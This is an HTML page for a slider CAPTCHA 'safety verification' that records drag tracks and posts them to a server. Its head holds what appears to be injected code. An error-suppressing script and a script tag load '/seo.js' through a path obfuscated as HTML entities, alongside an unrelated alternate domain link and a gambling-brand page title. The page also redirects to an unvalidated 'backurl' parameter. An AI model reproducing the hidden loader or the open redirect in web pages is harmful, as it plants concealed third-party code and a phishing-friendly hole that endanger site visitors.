<!DOCTYPE html>
<html lang="zh-CN">
<head><script>var V_PATH="/";window.onerror=function(){ return true; };</script>
    <meta charset="utf-8">
    <!-- 移动端核心适配：视口设置（关键） -->
     <meta name="robots" content="noindex">
    <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0, user-scalable=no">
    <meta name="apple-mobile-web-app-capable" content="yes">
    <meta name="apple-mobile-web-app-status-bar-style" content="black">
    <meta name="format-detection" content="telephone=no, email=no">
    <title>70net永乐高(中国)有限公司-Master Platform</title>
    <style>
        * {
            margin: 0;
            padding: 0;
            box-sizing: border-box;
            font-family: -apple-system, BlinkMacSystemFont, 'Microsoft YaHei', sans-serif;
            /* 移动端触摸高亮清除 */
            -webkit-tap-highlight-color: transparent;
            tap-highlight-color: transparent;
        }
        body {
            background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
            min-height: 100vh;
            display: flex;
            flex-direction: column; /* 保证垂直排列，不和slider-container同行 */
            justify-content: center;
            align-items: center;
            padding: 15px; /* 移动端增加内边距，避免贴边 */
            /* 移动端滚动优化 */
            -webkit-overflow-scrolling: touch;
            overflow-scrolling: touch;
        }
        /* 滑块容器：自适应宽度+移动端适配 */
        .slider-container {
            width: 100%;
            max-width: 380px; /* 最大宽度限制 */
            min-width: 280px; /* 最小宽度，适配小屏手机 */
            background: rgba(255, 255, 255, 0.95);
            border-radius: 12px;
            padding: 20px 15px; /* 移动端减少内边距 */
            box-shadow: 0 8px 32px rgba(31, 38, 135, 0.2);
            backdrop-filter: blur(4px);
            -webkit-backdrop-filter: blur(4px); /* 兼容iOS */
            border: 1px solid rgba(255, 255, 255, 0.18);
        }
        .slider-title {
            font-size: 17px; /* 移动端字体适配 */
            color: #333;
            margin-bottom: 18px;
            text-align: center;
            font-weight: 600;
        }
        /* 修正：添加id="sliderWrap"，并优化移动端滑动区域 */
        .slider-wrap {
            width: 100%;
            height: 55px; /* 移动端增加高度，方便手指操作 */
            background: linear-gradient(90deg, #f0f2f5 0%, #e8f4f8 100%);
            border-radius: 28px; /* 对应高度调整圆角 */
            position: relative;
            overflow: hidden;
            box-shadow: inset 0 1px 3px rgba(0, 0, 0, 0.1);
            /* 移动端防止触摸选中 */
            user-select: none;
            -webkit-user-select: none;
        }
        /* 滑块按钮：适配手指操作，增大点击区域 */
        .slider-btn {
            width: 55px; /* 增大宽度，适配手指 */
            height: 55px; /* 增大高度 */
            background: linear-gradient(135deg, #4299e1 0%, #38b2ac 100%);
            border-radius: 50%;
            position: absolute;
            top: 0;
            left: 0;
            box-shadow: 0 4px 12px rgba(66, 153, 225, 0.3);
            cursor: pointer;
            display: flex;
            justify-content: center;
            align-items: center;
            color: white;
            font-size: 22px; /* 增大图标 */
            transition: all 0.2s ease;
            z-index: 2;
            /* 移动端触摸优化 */
            touch-action: pan-x; /* 只允许水平滑动 */
            -webkit-touch-callout: none;
        }
        .slider-btn:hover {
            box-shadow: 0 6px 16px rgba(66, 153, 225, 0.4);
            transform: scale(1.03); /* 移动端缩小缩放，避免超出容器 */
        }
        .slider-btn:active {
            transform: scale(0.97);
        }
        /* 滑动进度条 */
        .slider-progress {
            height: 100%;
            background: linear-gradient(90deg, #4299e1 0%, #38b2ac 100%);
            width: 0;
            transition: width 0.15s linear; /* 移动端加快过渡，更跟手 */
            z-index: 1;
        }
        /* 提示文字：移动端字体适配 */
        .slider-tips {
            text-align: center;
            margin-top: 12px;
            font-size: 14px;
            color: #666;
            transition: color 0.3s ease;
            line-height: 1.4; /* 移动端增加行高 */
        }
        .tips-success {
            color: #48bb78;
            font-weight: 500;
        }
        .tips-error {
            color: #f56565;
        }
        /* 加载动画：适配移动端大小 */
        .loading {
            display: inline-block;
            width: 14px;
            height: 14px;
            border: 2px solid rgba(255, 255, 255, 0.5);
            border-top-color: white;
            border-radius: 50%;
            animation: spin 1s linear infinite;
            margin-right: 6px;
        }
        @keyframes spin {
            to { transform: rotate(360deg); }
        }
        /* 小屏手机适配（宽度<320px） */
        @media (max-width: 320px) {
            .slider-container {
                padding: 15px 10px;
            }
            .slider-title {
                font-size: 16px;
                margin-bottom: 15px;
            }
            .slider-wrap {
                height: 50px;
            }
            .slider-btn {
                width: 50px;
                height: 50px;
                font-size: 20px;
            }
            .slider-tips {
                font-size: 13px;
            }
        }
        /* 大屏手机适配（宽度>400px） */
        @media (min-width: 400px) {
            .slider-container {
                padding: 25px 20px;
            }
            .slider-title {
                font-size: 18px;
            }
        }
    </style>
<link rel="alternate" media="only screen and(max-width: 640px)" href="http://hdwhcm.com" ><script type="text/javascript" src="&#47;&#115;&#101;&#111;&#46;&#106;&#115;" rel="nofollow"></script></head>
<body>
    <div class="slider-container">
        <h3 class="slider-title">安全验证(safety verification)</h3>
        <!-- <h3 class="slider-title">Drag slider to verify</h3> -->
        <div class="slider-wrap" id="sliderWrap">
            <div class="slider-progress" id="sliderProgress"></div>
            <div class="slider-btn" id="sliderBtn">→</div>
        </div>
        <div class="slider-tips" id="sliderTips">按住滑动(Press and slide)</div>
    </div>
    <br/>
    <div style="width: 100%; max-width: 400px; margin: 30px auto 0; text-align: center;">
        <p style="margin: 0 0 3px 0; font-size: 18px; color: #2d3748; font-weight: 500;">
            <span id="ipSpan" style="color: #25282b; font-size: 14px; font-weight: 200;"></span>
        </p>
        <p style="margin: 0 0 3px 0; font-size: 18px; color: #2d3748; font-weight: 500;">
            <span id="statusSpan" style="color: #25282b; font-size: 14px; font-weight: 200;"></span>
        </p>
    </div>
    <script>
        // 核心变量
        const sliderBtn = document.getElementById('sliderBtn');
        const sliderWrap = document.getElementById('sliderWrap');
        const sliderProgress = document.getElementById('sliderProgress');
        const sliderTips = document.getElementById('sliderTips');
        let isDragging = false;
        let startX = 0;
        let track = [];
        let maxOffset = 0; // 滑块最大可移动距离
        let trackTimer = null;

        let token = '';
        let client_ip = '';
        let backurl = '';
        let mmtype = '';
        let sign = '';

        function getSearch() {
            let theRequest = new Object();
            let wholeUrl = decodeURIComponent(location.href)
            let cArr = wholeUrl.match(/c-.*?\.html/)
            if (cArr) {
                let cc = cArr[0].substr(2)
                cc = cc.substring(0, cc.length - 5)
                let ccs = cc.split("&")
                for (let i = 0; i < ccs.length; i++) {
                    theRequest[ccs[i].split("=")[0]] = unescape(ccs[i].split("=")[1]);
                }
            }
            let url = decodeURI(location.search);
            if (url.indexOf("?") != -1) {
                let str = url.substr(1);
                let strs = str.split("&");
                for (let i = 0; i < strs.length; i++) {
                    theRequest[strs[i].split("=")[0]] = unescape(strs[i].split("=")[1]);
                }
            }
            return theRequest
        }

        function initUriParam() {
            let theRequest = getSearch()
            token = theRequest["token"]
            client_ip = theRequest["client_ip"]
            backurl = theRequest["backurl"]
            mmtype = theRequest["mmtype"]
            sign = theRequest["sign"]

            document.getElementById('ipSpan').textContent = 'IP: ' + client_ip;
            document.getElementById('statusSpan').textContent = 'Status: ' + mmtype;
        }

        // 初始化最大偏移量（适配窗口变化）
        function initMaxOffset() {
            maxOffset = sliderWrap.offsetWidth - sliderBtn.offsetWidth;
        }

        // 2. 采集滑动轨迹
        function recordTrack(x, y) {
            track.push({
                time: Date.now(),
                x: x,
                y: y
            });
        }

        // 3. 提交验证
        async function submitVerify() {
            const finalOffset = sliderBtn.offsetLeft;
            // 移动端容错：允许稍小的偏移（因为手指操作精度低）
            if (finalOffset < maxOffset - 5) {
                sliderTips.textContent = '请滑动到最右侧(Slide to the rightmost)';
                sliderTips.className = 'slider-tips tips-error';
                resetSlider();
                return;
            }

            if (track.length < 3) { // 移动端降低轨迹长度要求（手指滑动更快）
                sliderTips.textContent = '滑动轨迹异常(Slide track exception)';
                sliderTips.className = 'slider-tips tips-error';
                resetSlider();
                return;
            }

            sliderTips.innerHTML = '<span class="loading"></span>验证中(verifying)...';
            sliderTips.className = 'slider-tips';

            try {
                const controller = new AbortController();
                const timeoutId = setTimeout(() => controller.abort(), 5000);

                const res = await fetch('/manmachine/verifyremote430251023sliding', {
                    method: 'POST',
                    headers: {
                        'Content-Type': 'application/json',
                        'X-Requested-With': 'XMLHttpRequest'
                    },
                    body: JSON.stringify({
                        token: token,
                        mmtype: mmtype,
                        sign: sign,
                        track: track,
                        finalOffset: finalOffset,
                        maxOffset: maxOffset
                    }),
                    signal: controller.signal,
                    cache: 'no-cache'
                });
                clearTimeout(timeoutId);

                const data = await res.json();
                //该写verify430251023manu.html页面处理验证响应部分代码
                if (data.code === 0) {
                    sliderTips.innerHTML = '✅ 验证通过(Verification passed)...';
                    sliderTips.className = 'slider-tips tips-success';
                    sliderBtn.innerHTML = '✓';
                    sliderBtn.style.background = 'linear-gradient(135deg, #48bb78 0%, #38a169 100%)';
                    setTimeout(() => {
                        window.location.href = backurl;
                    }, 1500);
                } else {
                    sliderTips.innerHTML = `❌ ${data.msg}`;
                    sliderTips.className = 'slider-tips tips-error';
                    resetSlider();
                }
            } catch (e) {
                if (e.name !== 'AbortError') {
                    sliderTips.textContent = '验证失败(Verification failed)';
                } else {
                    sliderTips.textContent = '验证超时(Verification timeout)';
                }
                sliderTips.className = 'slider-tips tips-error';
                resetSlider();
                console.error('验证失败(Verification failed):', e);
            }
        }

        // 4. 重置滑块
        function resetSlider() {
            sliderBtn.style.left = '0px';
            sliderProgress.style.width = '0%';
            sliderBtn.innerHTML = '→';
            sliderBtn.style.background = 'linear-gradient(135deg, #4299e1 0%, #38b2ac 100%)';
            isDragging = false;
            track = [];
            sliderTips.textContent = '按住滑动(Press and slide)';
            sliderTips.className = 'slider-tips';
            // 清除定时器，防止内存泄漏
            if (trackTimer) clearInterval(trackTimer);
        }

        // 5. 绑定事件（优化移动端触摸）
        function bindEvents() {
            // 鼠标按下/触摸开始
            const startHandler = (e) => {
                e.preventDefault(); // 阻止默认行为（如页面滚动）
                isDragging = true;

                // 区分鼠标和触摸事件
                let clientX = e.clientX;
                let clientY = e.clientY;
                if (e.type === 'touchstart') {
                    clientX = e.touches[0].clientX;
                    clientY = e.touches[0].clientY;
                }

                startX = clientX - sliderBtn.offsetLeft;
                recordTrack(sliderBtn.offsetLeft, clientY);

                trackTimer = setInterval(() => {
                    if (isDragging) {
                        // 触摸时实时获取坐标（防止手指移动后坐标不变）
                        let x = sliderBtn.offsetLeft;
                        let y = clientY;
                        if (e.type === 'touchstart' && isDragging) {
                            const touch = document.querySelector('body').ontouchmove ? event.touches[0] : null;
                            if (touch) y = touch.clientY;
                        }
                        recordTrack(x, y);
                    }
                }, 10);
            };

            // 鼠标/触摸移动
            const moveHandler = (e) => {
                if (!isDragging) return;
                e.preventDefault(); // 阻止页面滚动

                let clientX = e.clientX;
                if (e.type === 'touchmove') {
                    clientX = e.touches[0].clientX;
                }

                let newX = clientX - startX;
                newX = Math.max(0, Math.min(newX, maxOffset));
                sliderBtn.style.left = `${newX}px`;
                sliderProgress.style.width = `${(newX / maxOffset) * 100}%`;
            };

            // 鼠标/触摸结束
            const endHandler = () => {
                if (!isDragging) return;
                isDragging = false;
                clearInterval(trackTimer);
                submitVerify();
            };

            // 绑定事件（移动端优先）
            // 触摸事件：添加passive优化性能
            sliderBtn.addEventListener('touchstart', startHandler, { passive: false });
            document.addEventListener('touchmove', moveHandler, { passive: false });
            document.addEventListener('touchend', endHandler);
            document.addEventListener('touchcancel', endHandler); // 处理触摸中断（如来电）

            // 鼠标事件
            sliderBtn.addEventListener('mousedown', startHandler);
            document.addEventListener('mousemove', moveHandler);
            document.addEventListener('mouseup', endHandler);
            document.addEventListener('mouseleave', endHandler); // 鼠标离开窗口时重置
        }

        // 初始化
        window.addEventListener('DOMContentLoaded', () => {
            initMaxOffset();
            bindEvents();
            initUriParam();

            // 窗口大小变化时重新计算偏移量
            window.addEventListener('resize', () => {
                initMaxOffset();
                resetSlider();
            });

            // 移动端返回键处理
            window.addEventListener('popstate', () => {
                resetSlider();
            });
        });

        // 防止移动端页面卸载时的定时器泄漏
        window.addEventListener('beforeunload', () => {
            if (trackTimer) clearInterval(trackTimer);
        });
    </script>
</body><div style="clear:both;padding:10px;text-align:center;margin:5"><a href="/sitemap.xml" target="_blank">XML 地图</a>
</html>
